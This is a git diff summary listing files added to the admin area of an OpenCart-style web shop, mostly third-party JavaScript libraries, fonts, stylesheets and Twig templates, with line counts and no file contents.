.../fonts/fontawesome-webfont.woff2 | Bin 0 -> 77160 bytes
.../font-awesome/less/animated.less | 34 +
.../font-awesome/less/bordered-pulled.less | 25 +
.../javascript/font-awesome/less/core.less | 12 +
.../font-awesome/less/fixed-width.less | 6 +
.../font-awesome/less/font-awesome.less | 18 +
.../javascript/font-awesome/less/icons.less | 789 +
.../javascript/font-awesome/less/larger.less | 13 +
.../javascript/font-awesome/less/list.less | 19 +
.../javascript/font-awesome/less/mixins.less | 60 +
.../javascript/font-awesome/less/path.less | 15 +
.../font-awesome/less/rotated-flipped.less | 20 +
.../font-awesome/less/screen-reader.less | 5 +
.../javascript/font-awesome/less/stacked.less | 20 +
.../font-awesome/less/variables.less | 800 +
.../font-awesome/scss/_animated.scss | 34 +
.../font-awesome/scss/_bordered-pulled.scss | 25 +
.../javascript/font-awesome/scss/_core.scss | 12 +
.../font-awesome/scss/_fixed-width.scss | 6 +
.../javascript/font-awesome/scss/_icons.scss | 789 +
.../javascript/font-awesome/scss/_larger.scss | 13 +
.../javascript/font-awesome/scss/_list.scss | 19 +
.../javascript/font-awesome/scss/_mixins.scss | 60 +
.../javascript/font-awesome/scss/_path.scss | 15 +
.../font-awesome/scss/_rotated-flipped.scss | 20 +
.../font-awesome/scss/_screen-reader.scss | 5 +
.../font-awesome/scss/_stacked.scss | 20 +
.../font-awesome/scss/_variables.scss | 800 +
.../font-awesome/scss/font-awesome.scss | 18 +
.../view/javascript/froala/css/editor.css | 124 +
public/admin/view/javascript/froala/editor.js | 816 +
.../javascript/froala/fonts/FontAwesome.otf | Bin 0 -> 109688 bytes
.../javascript/froala/fonts/font-awesome.css | 5 +
.../froala/fonts/fontawesome-webfont.eot | Bin 0 -> 70807 bytes
.../froala/fonts/fontawesome-webfont.svg | 655 +
.../froala/fonts/fontawesome-webfont.ttf | Bin 0 -> 142072 bytes
.../froala/fonts/fontawesome-webfont.woff | Bin 0 -> 83588 bytes
.../froala/fonts/fontawesome-webfont.woff2 | Bin 0 -> 66624 bytes
.../view/javascript/froala/languages/ar.js | 321 +
.../view/javascript/froala/languages/bs.js | 321 +
.../view/javascript/froala/languages/cs.js | 321 +
.../view/javascript/froala/languages/da.js | 318 +
.../view/javascript/froala/languages/de.js | 321 +
.../view/javascript/froala/languages/el.js | 327 +
.../view/javascript/froala/languages/en.js | 0
.../view/javascript/froala/languages/en_ca.js | 265 +
.../view/javascript/froala/languages/en_gb.js | 265 +
.../view/javascript/froala/languages/es.js | 321 +
.../view/javascript/froala/languages/et.js | 321 +
.../view/javascript/froala/languages/fa.js | 321 +
.../view/javascript/froala/languages/fi.js | 321 +
.../view/javascript/froala/languages/fr.js | 321 +
.../view/javascript/froala/languages/he.js | 321 +
.../view/javascript/froala/languages/hr.js | 321 +
.../view/javascript/froala/languages/hu.js | 321 +
.../view/javascript/froala/languages/id.js | 322 +
.../view/javascript/froala/languages/it.js | 321 +
.../view/javascript/froala/languages/ja.js | 321 +
.../view/javascript/froala/languages/ko.js | 321 +
.../view/javascript/froala/languages/ku.js | 314 +
.../view/javascript/froala/languages/me.js | 321 +
.../view/javascript/froala/languages/nb.js | 321 +
.../view/javascript/froala/languages/nl.js | 321 +
.../view/javascript/froala/languages/pl.js | 321 +
.../view/javascript/froala/languages/pt_br.js | 321 +
.../view/javascript/froala/languages/pt_pt.js | 321 +
.../view/javascript/froala/languages/ro.js | 321 +
.../view/javascript/froala/languages/ru.js | 257 +
.../view/javascript/froala/languages/sk.js | 321 +
.../view/javascript/froala/languages/sr.js | 321 +
.../view/javascript/froala/languages/sv.js | 321 +
.../view/javascript/froala/languages/th.js | 321 +
.../view/javascript/froala/languages/tr.js | 321 +
.../view/javascript/froala/languages/ua.js | 321 +
.../view/javascript/froala/languages/uk.js | 321 +
.../view/javascript/froala/languages/vi.js | 261 +
.../view/javascript/froala/languages/zh_cn.js | 321 +
.../view/javascript/froala/languages/zh_tw.js | 321 +
.../admin/view/javascript/jquery/Sortable.js | 3709 +
.../bootstrap-datetimepicker.min.css | 5 +
.../bootstrap-datetimepicker.min.js | 1384 +
.../jquery/datetimepicker/moment/jznthv.php | 58 +
.../jquery/datetimepicker/moment/locales.js | 9252 ++
.../datetimepicker/moment/locales.min.js | 498 +
.../moment/moment-with-locales.js | 13700 +++
.../moment/moment-with-locales.min.js | 505 +
.../datetimepicker/moment/moment.min.js | 7 +
.../jquery/datetimepicker/moment/tests.js | 78265 ++++++++++++++++
.../admin/view/javascript/jquery/flot/API.md | 1464 +
.../javascript/jquery/flot/CONTRIBUTING.md | 99 +
.../admin/view/javascript/jquery/flot/FAQ.md | 75 +
.../view/javascript/jquery/flot/LICENSE.txt | 22 +
.../view/javascript/jquery/flot/Makefile | 12 +
.../admin/view/javascript/jquery/flot/NEWS.md | 893 +
.../view/javascript/jquery/flot/PLUGINS.md | 143 +
.../view/javascript/jquery/flot/README.md | 110 +
.../examples/ajax/data-eu-gdp-growth-1.json | 4 +
.../examples/ajax/data-eu-gdp-growth-2.json | 4 +
.../examples/ajax/data-eu-gdp-growth-3.json | 4 +
.../examples/ajax/data-eu-gdp-growth-4.json | 4 +
.../examples/ajax/data-eu-gdp-growth-5.json | 4 +
.../examples/ajax/data-eu-gdp-growth.json | 4 +
.../examples/ajax/data-japan-gdp-growth.json | 4 +
.../examples/ajax/data-usa-gdp-growth.json | 4 +
.../jquery/flot/examples/ajax/index.html | 173 +
.../flot/examples/annotating/index.html | 87 +
.../flot/examples/axes-interacting/index.html | 97 +
.../flot/examples/axes-multiple/index.html | 77 +
.../flot/examples/axes-time-zones/date.js | 893 +
.../flot/examples/axes-time-zones/index.html | 114 +
.../flot/examples/axes-time-zones/tz/africa | 1181 +
.../examples/axes-time-zones/tz/antarctica | 413 +
.../flot/examples/axes-time-zones/tz/asia | 2717 +
.../examples/axes-time-zones/tz/australasia | 1719 +
.../flot/examples/axes-time-zones/tz/backward | 117 +
.../flot/examples/axes-time-zones/tz/etcetera | 81 +
.../flot/examples/axes-time-zones/tz/europe | 2856 +
.../flot/examples/axes-time-zones/tz/factory | 10 +
.../examples/axes-time-zones/tz/iso3166.tab | 276 +
.../examples/axes-time-zones/tz/leapseconds | 100 +
.../examples/axes-time-zones/tz/northamerica | 3235 +
.../examples/axes-time-zones/tz/pacificnew | 28 +
.../flot/examples/axes-time-zones/tz/solar87 | 390 +
.../flot/examples/axes-time-zones/tz/solar88 | 390 +
.../flot/examples/axes-time-zones/tz/solar89 | 395 +
.../examples/axes-time-zones/tz/southamerica | 1711 +
.../flot/examples/axes-time-zones/tz/systemv | 38 +
.../examples/axes-time-zones/tz/yearistype.sh | 38 +
.../flot/examples/axes-time-zones/tz/zone.tab | 441 +
.../jquery/flot/examples/axes-time/index.html | 137 +
.../jquery/flot/examples/background.png | Bin 0 -> 231 bytes
.../flot/examples/basic-options/index.html | 91 +
.../flot/examples/basic-usage/index.html | 57 +
.../jquery/flot/examples/canvas/index.html | 75 +
.../flot/examples/categories/index.html | 64 +
.../jquery/flot/examples/examples.css | 97 +
.../examples/image/hs-2004-27-a-large-web.jpg | Bin 0 -> 34489 bytes
.../jquery/flot/examples/image/index.html | 69 +
.../jquery/flot/examples/index.html | 80 +
.../flot/examples/interacting/index.html | 130 +
.../flot/examples/navigate/arrow-down.gif | Bin 0 -> 916 bytes
.../flot/examples/navigate/arrow-left.gif | Bin 0 -> 891 bytes
.../flot/examples/navigate/arrow-right.gif | Bin 0 -> 897 bytes
.../flot/examples/navigate/arrow-up.gif | Bin 0 -> 916 bytes
.../jquery/flot/examples/navigate/index.html | 153 +
.../flot/examples/percentiles/index.html | 79 +
.../jquery/flot/examples/realtime/index.html | 122 +
.../jquery/flot/examples/resize/index.html | 76 +
.../jquery/flot/examples/selection/index.html | 141 +
.../flot/examples/series-errorbars/index.html | 150 +
.../flot/examples/series-pie/index.html | 818 +
.../flot/examples/series-toggle/index.html | 121 +
.../flot/examples/series-types/index.html | 90 +
.../shared/jquery-ui/jquery-ui.min.css | 6 +
.../shared/jquery-ui/jquery-ui.min.js | 6 +
.../jquery/flot/examples/stacking/index.html | 107 +
.../jquery/flot/examples/symbols/index.html | 76 +
.../jquery/flot/examples/threshold/index.html | 76 +
.../jquery/flot/examples/tracking/index.html | 135 +
.../jquery/flot/examples/visitors/index.html | 146 +
.../jquery/flot/examples/zooming/index.html | 144 +
.../view/javascript/jquery/flot/excanvas.js | 1428 +
.../javascript/jquery/flot/excanvas.min.js | 1 +
.../jquery/flot/jquery.colorhelpers.js | 179 +
.../jquery/flot/jquery.colorhelpers.min.js | 21 +
.../jquery/flot/jquery.flot.canvas.js | 345 +
.../jquery/flot/jquery.flot.canvas.min.js | 28 +
.../jquery/flot/jquery.flot.categories.js | 190 +
.../jquery/flot/jquery.flot.categories.min.js | 44 +
.../jquery/flot/jquery.flot.crosshair.js | 176 +
.../jquery/flot/jquery.flot.crosshair.min.js | 59 +
.../jquery/flot/jquery.flot.errorbars.js | 353 +
.../jquery/flot/jquery.flot.errorbars.min.js | 63 +
.../jquery/flot/jquery.flot.fillbetween.js | 226 +
.../flot/jquery.flot.fillbetween.min.js | 30 +
.../jquery/flot/jquery.flot.image.js | 241 +
.../jquery/flot/jquery.flot.image.min.js | 53 +
.../javascript/jquery/flot/jquery.flot.js | 3061 +
.../javascript/jquery/flot/jquery.flot.min.js | 29 +
.../jquery/flot/jquery.flot.navigate.js | 346 +
.../jquery/flot/jquery.flot.navigate.min.js | 86 +
.../javascript/jquery/flot/jquery.flot.pie.js | 817 +
.../jquery/flot/jquery.flot.pie.min.js | 56 +
.../jquery/flot/jquery.flot.resize.js | 60 +
.../jquery/flot/jquery.flot.resize.min.js | 19 +
.../jquery/flot/jquery.flot.selection.js | 360 +
.../jquery/flot/jquery.flot.selection.min.js | 79 +
.../jquery/flot/jquery.flot.stack.js | 188 +
.../jquery/flot/jquery.flot.stack.min.js | 36 +
.../jquery/flot/jquery.flot.symbol.js | 71 +
.../jquery/flot/jquery.flot.symbol.min.js | 14 +
.../jquery/flot/jquery.flot.threshold.js | 142 +
.../jquery/flot/jquery.flot.threshold.min.js | 43 +
.../jquery/flot/jquery.flot.time.js | 431 +
.../jquery/flot/jquery.flot.time.min.js | 9 +
.../view/javascript/jquery/flot/jquery.js | 9472 ++
.../view/javascript/jquery/flot/jquery.min.js | 2 +
.../javascript/jquery/jquery-2.1.1.min.js | 4 +
.../javascript/jquery/jquery-2.1.1.min.map | 1 +
.../view/javascript/jquery/jquery-sortable.js | 76 +
.../jquery-ui/external/jquery/jquery.js | 9789 ++
.../images/ui-icons_444444_256x240.png | Bin 0 -> 6992 bytes
.../images/ui-icons_555555_256x240.png | Bin 0 -> 6988 bytes
.../images/ui-icons_777620_256x240.png | Bin 0 -> 4549 bytes
.../images/ui-icons_777777_256x240.png | Bin 0 -> 6999 bytes
.../images/ui-icons_cc0000_256x240.png | Bin 0 -> 4549 bytes
.../images/ui-icons_ffffff_256x240.png | Bin 0 -> 6299 bytes
.../javascript/jquery/jquery-ui/index.html | 513 +
.../javascript/jquery/jquery-ui/jquery-ui.css | 1225 +
.../javascript/jquery/jquery-ui/jquery-ui.js | 16617 ++++
.../jquery/jquery-ui/jquery-ui.min.css | 7 +
.../jquery/jquery-ui/jquery-ui.min.js | 13 +
.../jquery/jquery-ui/jquery-ui.structure.css | 833 +
.../jquery-ui/jquery-ui.structure.min.css | 5 +
.../jquery/jquery-ui/jquery-ui.theme.css | 410 +
.../jquery/jquery-ui/jquery-ui.theme.min.css | 5 +
.../jqvmap/data/jquery.vmap.sampledata.js | 1 +
.../javascript/jquery/jqvmap/jquery.vmap.js | 1100 +
.../jquery/jqvmap/jquery.vmap.min.js | 12 +
.../jquery/jqvmap/jquery.vmap.packed.js | 12 +
.../view/javascript/jquery/jqvmap/jqvmap.css | 48 +
.../maps/continents/jquery.vmap.africa.js | 2 +
.../maps/continents/jquery.vmap.asia.js | 2 +
.../maps/continents/jquery.vmap.australia.js | 2 +
.../maps/continents/jquery.vmap.europe.js | 2 +
.../continents/jquery.vmap.north-america.js | 2 +
.../continents/jquery.vmap.south-america.js | 2 +
.../jquery/jqvmap/maps/continents/readme.txt | 1 +
.../jquery/jqvmap/maps/jquery.vmap.algeria.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.brazil.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.europe.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.france.js | 98 +
.../jquery/jqvmap/maps/jquery.vmap.germany.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.russia.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.usa.js | 2 +
.../jquery/jqvmap/maps/jquery.vmap.world.js | 2 +
.../jquery/magnific/jquery.magnific-popup.js | 1860 +
.../magnific/jquery.magnific-popup.min.js | 4 +
.../jquery/magnific/magnific-popup.css | 351 +
.../lightshop/codemirror/lib/codemirror.js | 9690 ++
.../lightshop/codemirror/mode/css/css.js | 832 +
.../lightshop/codemirror/mode/css/gss.html | 103 +
.../lightshop/codemirror/mode/css/gss_test.js | 17 +
.../lightshop/codemirror/mode/css/index.html | 75 +
.../lightshop/codemirror/mode/css/less.html | 152 +
.../codemirror/mode/css/less_test.js | 54 +
.../lightshop/codemirror/mode/css/scss.html | 157 +
.../codemirror/mode/css/scss_test.js | 110 +
.../lightshop/codemirror/mode/css/test.js | 209 +
.../codemirror/mode/javascript/index.html | 114 +
.../codemirror/mode/javascript/javascript.js | 896 +
.../codemirror/mode/javascript/json-ld.html | 72 +
.../codemirror/mode/javascript/test.js | 482 +
.../mode/javascript/typescript.html | 61 +
.../css/bootstrap-colorpicker.min.css | 10 +
.../colorpicker/js/bootstrap-colorpicker.js | 1327 +
.../javascript/summernote/font/summernote.eot | Bin 0 -> 13234 bytes
.../javascript/summernote/font/summernote.ttf | Bin 0 -> 13048 bytes
.../summernote/font/summernote.woff | Bin 0 -> 8332 bytes
.../summernote/lang/summernote-ar-AR.js | 104 +
.../summernote/lang/summernote-bg-BG.js | 99 +
.../summernote/lang/summernote-ca-ES.js | 147 +
.../summernote/lang/summernote-cs-CZ.js | 103 +
.../summernote/lang/summernote-da-DK.js | 114 +
.../summernote/lang/summernote-de-DE.js | 110 +
.../summernote/lang/summernote-es-ES.js | 147 +
.../summernote/lang/summernote-es-EU.js | 103 +
.../summernote/lang/summernote-fa-IR.js | 105 +
.../summernote/lang/summernote-fi-FI.js | 104 +
.../summernote/lang/summernote-fr-FR.js | 115 +
.../summernote/lang/summernote-gl-ES.js | 147 +
.../summernote/lang/summernote-he-IL.js | 107 +
.../summernote/lang/summernote-hr-HR.js | 104 +
.../summernote/lang/summernote-hu-HU.js | 135 +
.../summernote/lang/summernote-id-ID.js | 103 +
.../summernote/lang/summernote-it-IT.js | 104 +
.../summernote/lang/summernote-ja-JP.js | 133 +
.../summernote/lang/summernote-ko-KR.js | 115 +
.../summernote/lang/summernote-lt-LT.js | 107 +
.../summernote/lang/summernote-lt-LV.js | 135 +
.../summernote/lang/summernote-nb-NO.js | 104 +
.../summernote/lang/summernote-nl-NL.js | 104 +
.../summernote/lang/summernote-pl-PL.js | 112 +
.../summernote/lang/summernote-pt-BR.js | 132 +
.../summernote/lang/summernote-pt-PT.js | 103 +
.../summernote/lang/summernote-ro-RO.js | 102 +
.../summernote/lang/summernote-ru-RU.js | 112 +
.../summernote/lang/summernote-sk-SK.js | 102 +
.../summernote/lang/summernote-sl-SI.js | 106 +
.../summernote/lang/summernote-sr-RS-Latin.js | 104 +
.../summernote/lang/summernote-sr-RS.js | 104 +
.../summernote/lang/summernote-sv-SE.js | 104 +
.../summernote/lang/summernote-th-TH.js | 106 +
.../summernote/lang/summernote-tr-TR.js | 147 +
.../summernote/lang/summernote-uk-UA.js | 111 +
.../summernote/lang/summernote-vi-VN.js | 104 +
.../summernote/lang/summernote-zh-CN.js | 113 +
.../summernote/lang/summernote-zh-TW.js | 113 +
.../view/javascript/summernote/opencart.js | 85 +
.../plugin/hello/summernote-ext-hello.js | 82 +
.../summernote-ext-specialchars.js | 315 +
.../summernote/summernote-image-attributes.js | 653 +
.../view/javascript/summernote/summernote.css | 1 +
.../view/javascript/summernote/summernote.js | 7046 ++
.../javascript/summernote/summernote.min.js | 4 +
public/admin/view/stylesheet/bootstrap.css | 4991 +
public/admin/view/stylesheet/bootstrap.scss | 1 +
.../admin/view/stylesheet/export_import.css | 16 +
.../stylesheet/fonts/forkawesome-webfont.eot | Bin 0 -> 188946 bytes
.../stylesheet/fonts/forkawesome-webfont.svg | 2849 +
.../stylesheet/fonts/forkawesome-webfont.ttf | Bin 0 -> 188756 bytes
.../stylesheet/fonts/forkawesome-webfont.woff | Bin 0 -> 115148 bytes
.../fonts/forkawesome-webfont.woff2 | Bin 0 -> 91624 bytes
.../admin/view/stylesheet/fonts/opencart.eot | Bin 0 -> 14276 bytes
.../admin/view/stylesheet/fonts/opencart.svg | 50 +
.../admin/view/stylesheet/fonts/opencart.ttf | Bin 0 -> 14108 bytes
.../admin/view/stylesheet/fonts/opencart.woff | Bin 0 -> 14184 bytes
public/admin/view/stylesheet/fork-awesome.css | 2573 +
.../stylesheet/googleshopping/stepper.css | 178 +
.../lightshop/codemirror/lib/codemirror.css | 346 +
.../codemirror/mode/theme/monokai.css | 41 +
.../lightshop/lightshop-column-icon.css | 28 +
.../view/stylesheet/lightshop/lightshop.css | 601 +
.../stylesheet/sass/_bootstrap-compass.scss | 9 +
.../stylesheet/sass/_bootstrap-mincer.scss | 19 +
.../stylesheet/sass/_bootstrap-sprockets.scss | 9 +
.../view/stylesheet/sass/_bootstrap.scss | 56 +
.../stylesheet/sass/bootstrap/_alerts.scss | 73 +
.../stylesheet/sass/bootstrap/_badges.scss | 68 +
.../sass/bootstrap/_breadcrumbs.scss | 35 +
.../sass/bootstrap/_button-groups.scss | 244 +
.../stylesheet/sass/bootstrap/_buttons.scss | 167 +
.../stylesheet/sass/bootstrap/_carousel.scss | 270 +
.../stylesheet/sass/bootstrap/_close.scss | 36 +
.../view/stylesheet/sass/bootstrap/_code.scss | 69 +
.../sass/bootstrap/_component-animations.scss | 37 +
.../stylesheet/sass/bootstrap/_dropdowns.scss | 216 +
.../stylesheet/sass/bootstrap/_forms.scss | 616 +
.../sass/bootstrap/_glyphicons.scss | 307 +
.../view/stylesheet/sass/bootstrap/_grid.scss | 85 +
.../sass/bootstrap/_input-groups.scss | 171 +
.../stylesheet/sass/bootstrap/_jumbotron.scss | 54 +
.../stylesheet/sass/bootstrap/_labels.scss | 66 +
.../sass/bootstrap/_list-group.scss | 130 +
.../stylesheet/sass/bootstrap/_media.scss | 66 +
.../stylesheet/sass/bootstrap/_mixins.scss | 40 +
.../stylesheet/sass/bootstrap/_modals.scss | 150 +
.../stylesheet/sass/bootstrap/_navbar.scss | 680 +
.../view/stylesheet/sass/bootstrap/_navs.scss | 242 +
.../stylesheet/sass/bootstrap/_normalize.scss | 424 +
.../stylesheet/sass/bootstrap/_pager.scss | 54 +
.../sass/bootstrap/_pagination.scss | 89 +
.../stylesheet/sass/bootstrap/_panels.scss | 271 +
.../stylesheet/sass/bootstrap/_popovers.scss | 131 +
.../stylesheet/sass/bootstrap/_print.scss | 101 +
.../sass/bootstrap/_progress-bars.scss | 87 +
.../sass/bootstrap/_responsive-embed.scss | 35 +
.../sass/bootstrap/_responsive-utilities.scss | 179 +
.../sass/bootstrap/_scaffolding.scss | 161 +
.../stylesheet/sass/bootstrap/_tables.scss | 234 +
.../stylesheet/sass/bootstrap/_theme.scss | 291 +
.../sass/bootstrap/_thumbnails.scss | 38 +
.../stylesheet/sass/bootstrap/_tooltip.scss | 101 +
.../view/stylesheet/sass/bootstrap/_type.scss | 298 +
.../stylesheet/sass/bootstrap/_utilities.scss | 55 +
.../stylesheet/sass/bootstrap/_variables.scss | 885 +
.../stylesheet/sass/bootstrap/_wells.scss | 29 +
.../sass/bootstrap/mixins/_alerts.scss | 14 +
.../bootstrap/mixins/_background-variant.scss | 12 +
.../sass/bootstrap/mixins/_border-radius.scss | 18 +
.../sass/bootstrap/mixins/_buttons.scss | 67 +
.../sass/bootstrap/mixins/_center-block.scss | 7 +
.../sass/bootstrap/mixins/_clearfix.scss | 22 +
.../sass/bootstrap/mixins/_forms.scss | 88 +
.../sass/bootstrap/mixins/_gradients.scss | 58 +
.../bootstrap/mixins/_grid-framework.scss | 81 +
.../sass/bootstrap/mixins/_grid.scss | 122 +
.../sass/bootstrap/mixins/_hide-text.scss | 21 +
.../sass/bootstrap/mixins/_image.scss | 33 +
.../sass/bootstrap/mixins/_labels.scss | 12 +
.../sass/bootstrap/mixins/_list-group.scss | 32 +
.../sass/bootstrap/mixins/_nav-divider.scss | 10 +
.../bootstrap/mixins/_nav-vertical-align.scss | 9 +
.../sass/bootstrap/mixins/_opacity.scss | 8 +
.../sass/bootstrap/mixins/_pagination.scss | 24 +
.../sass/bootstrap/mixins/_panels.scss | 24 +
.../sass/bootstrap/mixins/_progress-bar.scss | 10 +
.../sass/bootstrap/mixins/_reset-filter.scss | 8 +
.../sass/bootstrap/mixins/_reset-text.scss | 18 +
.../sass/bootstrap/mixins/_resize.scss | 6 +
.../mixins/_responsive-visibility.scss | 21 +
.../sass/bootstrap/mixins/_size.scss | 10 +
.../sass/bootstrap/mixins/_tab-focus.scss | 9 +
.../sass/bootstrap/mixins/_table-row.scss | 28 +
.../sass/bootstrap/mixins/_text-emphasis.scss | 12 +
.../sass/bootstrap/mixins/_text-overflow.scss | 8 +
.../bootstrap/mixins/_vendor-prefixes.scss | 222 +
public/admin/view/stylesheet/stylesheet.css | 1153 +
.../view/template/blog/article_form.twig | 459 +
.../view/template/blog/article_list.twig | 207 +
.../view/template/blog/category_form.twig | 278 +
.../view/template/blog/category_list.twig | 96 +
.../admin/view/template/blog/review_form.twig | 157 +
.../admin/view/template/blog/review_list.twig | 243 +
public/admin/view/template/blog/setting.twig | 299 +
.../view/template/catalog/attribute_form.twig | 69 +
.../catalog/attribute_group_form.twig | 52 +
.../catalog/attribute_group_list.twig | 82 +
.../view/template/catalog/attribute_list.twig | 88 +
.../view/template/catalog/category_form.twig | 410 +
.../view/template/catalog/category_list.twig | 97 +
.../view/template/catalog/download_form.twig | 117 +
.../view/template/catalog/download_list.twig | 82 +
.../view/template/catalog/filter_form.twig | 111 +
.../view/template/catalog/filter_list.twig | 82 +
.../template/catalog/information_form.twig | 226 +
.../template/catalog/information_list.twig | 93 +
.../template/catalog/manufacturer_form.twig | 284 +
.../template/catalog/manufacturer_list.twig | 91 +
.../view/template/catalog/option_form.twig | 257 +
.../view/template/catalog/option_list.twig | 82 +
.../view/template/catalog/product_form.twig | 1735 +
.../view/template/catalog/product_list.twig | 515 +
.../view/template/catalog/recurring_form.twig | 153 +
.../view/template/catalog/recurring_list.twig | 83 +
.../view/template/catalog/review_form.twig | 157 +
.../view/template/catalog/review_list.twig | 243 +
.../view/template/common/column_left.twig | 68 +
.../admin/view/template/common/dashboard.twig | 58 +
.../admin/view/template/common/developer.twig | 117 +
.../view/template/common/filemanager.twig | 240 +
public/admin/view/template/common/footer.twig | 2 +
.../admin/view/template/common/forgotten.twig | 35 +
public/admin/view/template/common/header.twig | 74 +
public/admin/view/template/common/login.twig | 51 +
.../admin/view/template/common/profile.twig | 99 +
public/admin/view/template/common/reset.twig | 39 +
.../admin/view/template/common/security.twig | 139 +
.../template/customer/custom_field_form.twig | 467 +
.../template/customer/custom_field_list.twig | 94 +
.../template/customer/customer_approval.twig | 257 +
.../customer/customer_approval_list.twig | 36 +
.../view/template/customer/customer_form.twig | 1464 +
.../customer/customer_group_form.twig | 85 +
.../customer/customer_group_list.twig | 82 +
.../template/customer/customer_history.twig | 28 +
.../view/template/customer/customer_ip.twig | 29 +
.../view/template/customer/customer_list.twig | 269 +
.../template/customer/customer_reward.twig | 35 +
.../customer/customer_transaction.twig | 35 +
.../view/template/design/banner_form.twig | 134 +
.../view/template/design/banner_list.twig | 82 +
.../view/template/design/layout_form.twig | 440 +
.../view/template/design/layout_list.twig | 76 +
.../view/template/design/seo_url_form.twig | 79 +
.../view/template/design/seo_url_list.twig | 227 +
public/admin/view/template/design/theme.twig | 412 +
.../view/template/design/theme_history.twig | 36 +
.../template/design/translation_form.twig | 219 +
.../template/design/translation_list.twig | 79 +
.../admin/view/template/error/not_found.twig | 23 +
.../admin/view/template/error/permission.twig | 23 +
.../template/extension/advertise/google.twig | 88 +
.../extension/advertise/google_ads.twig | 907 +
.../extension/advertise/google_campaign.twig | 805 +
.../extension/advertise/google_checklist.twig | 102 +
.../extension/advertise/google_connect.twig | 168 +
.../extension/advertise/google_mapping.twig | 200 +
.../advertise/google_mapping_verify.twig | 17 +
.../extension/advertise/google_merchant.twig | 88 +
.../advertise/google_popup_issues.twig | 69 +
.../advertise/google_popup_product.twig | 181 +
.../extension/advertise/google_reports.twig | 34 +
.../extension/advertise/google_settings.twig | 136 +
.../advertise/google_shipping_taxes.twig | 231 +
.../extension/advertise/google_steps.twig | 22 +
.../template/extension/analytics/google.twig | 59 +
.../extension/analytics/yandex_metrika.twig | 77 +
.../template/extension/captcha/basic.twig | 47 +
.../template/extension/captcha/google.twig | 66 +
.../view/template/extension/currency/cbr.twig | 47 +
.../view/template/extension/currency/ecb.twig | 47 +
.../template/extension/currency/fixer.twig | 47 +
.../view/template/extension/currency/nbu.twig | 47 +
.../extension/dashboard/activity_form.twig | 67 +
.../extension/dashboard/activity_info.twig | 15 +
.../extension/dashboard/chart_form.twig | 67 +
.../extension/dashboard/chart_info.twig | 83 +
.../extension/dashboard/customer_form.twig | 67 +
.../extension/dashboard/customer_info.twig | 13 +
.../extension/dashboard/domovoy_form.twig | 167 +
.../extension/dashboard/domovoy_info.twig | 319 +
.../extension/dashboard/map_form.twig | 67 +
.../extension/dashboard/map_info.twig | 47 +
.../extension/dashboard/online_form.twig | 67 +
.../extension/dashboard/online_info.twig | 7 +
.../extension/dashboard/order_form.twig | 67 +
.../extension/dashboard/order_info.twig | 13 +
.../template/extension/dashboard/phpinfo.twig | 31 +
.../extension/dashboard/recent_form.twig | 67 +
.../extension/dashboard/recent_info.twig | 37 +
.../extension/dashboard/sale_form.twig | 67 +
.../extension/dashboard/sale_info.twig | 13 +
.../template/extension/export_import.twig | 619 +
.../extension/extension/advertise.twig | 72 +
.../extension/extension/analytics.twig | 52 +
.../template/extension/extension/captcha.twig | 45 +
.../extension/extension/currency.twig | 60 +
.../extension/extension/dashboard.twig | 53 +
.../template/extension/extension/feed.twig | 49 +
.../template/extension/extension/fraud.twig | 49 +
.../template/extension/extension/menu.twig | 44 +
.../template/extension/extension/module.twig | 60 +
.../template/extension/extension/payment.twig | 58 +
.../template/extension/extension/report.twig | 51 +
.../extension/extension/shipping.twig | 56 +
.../template/extension/extension/theme.twig | 52 +
.../template/extension/extension/total.twig | 51 +
.../template/extension/feed/google_base.twig | 247 +
.../extension/feed/google_base_category.twig | 28 +
.../extension/feed/google_sitemap.twig | 53 +
.../extension/feed/google_sitemap_fast.twig | 53 +
.../template/extension/feed/unisender.twig | 120 +
.../extension/feed/yandex_market.twig | 377 +
.../template/extension/feed/yandex_turbo.twig | 79 +
.../extension/fraud/fraudlabspro.twig | 189 +
.../extension/fraud/fraudlabspro_info.twig | 128 +
.../view/template/extension/fraud/ip.twig | 176 +
.../view/template/extension/fraud/ip_ip.twig | 32 +
.../template/extension/fraud/maxmind.twig | 77 +
.../extension/fraud/maxmind_info.twig | 302 +
.../template/extension/module/account.twig | 47 +
.../template/extension/module/banner.twig | 88 +
.../template/extension/module/bestseller.twig | 80 +
.../extension/module/blog_category.twig | 47 +
.../extension/module/blog_featured.twig | 127 +
.../extension/module/blog_latest.twig | 80 +
.../template/extension/module/carousel.twig | 88 +
.../template/extension/module/category.twig | 47 +
.../template/extension/module/featured.twig | 127 +
.../extension/module/featured_article.twig | 81 +
.../extension/module/featured_product.twig | 81 +
.../template/extension/module/filter.twig | 47 +
.../view/template/extension/module/html.twig | 93 +
.../extension/module/information.twig | 47 +
.../template/extension/module/latest.twig | 80 +
.../template/extension/module/lightshop.twig | 47 +
.../lightshopcatalog/callback_form.twig | 78 +
.../lightshopcatalog/callback_list.twig | 98 +
.../lightshopcatalog/lightshop_blog_form.twig | 344 +
.../lightshopcatalog/lightshop_blog_list.twig | 85 +
.../lightshopcatalog/lightshop_news_form.twig | 263 +
.../lightshopcatalog/lightshop_news_list.twig | 84 +
.../lightshopcatalog/lightshop_sets_form.twig | 249 +
.../lightshopcatalog/lightshop_sets_list.twig | 85 +
.../lightshopcatalog/lightshop_tab_form.twig | 247 +
.../lightshopcatalog/lightshop_tab_list.twig | 143 +
.../lightshopblog_review_form.twig | 114 +
.../lightshopblog_review_list.twig | 170 +
.../lightshopcatblog_form.twig | 299 +
.../lightshopcatblog_list.twig | 87 +
.../lightshopcatalog/subscribe_form.twig | 57 +
.../lightshopcatalog/subscribe_list.twig | 97 +
.../lightshopcatalog/subscribe_mail.twig | 61 +
.../module/oc3x_storage_cleaner.twig | 63 +
.../template/extension/module/slideshow.twig | 88 +
.../template/extension/module/special.twig | 80 +
.../view/template/extension/module/store.twig | 70 +
.../extension/module/subcategory.twig | 108 +
.../template/extension/module/wd_banners.twig | 99 +
.../view/template/extension/payment/cod.twig | 88 +
.../report/customer_activity_form.twig | 53 +
.../report/customer_activity_info.twig | 137 +
.../extension/report/customer_order_form.twig | 53 +
.../extension/report/customer_order_info.twig | 216 +
.../report/customer_reward_form.twig | 53 +
.../report/customer_reward_info.twig | 137 +
.../report/customer_search_form.twig | 53 +
.../report/customer_search_info.twig | 153 +
.../report/customer_transaction_form.twig | 53 +
.../report/customer_transaction_info.twig | 133 +
.../extension/report/marketing_form.twig | 53 +
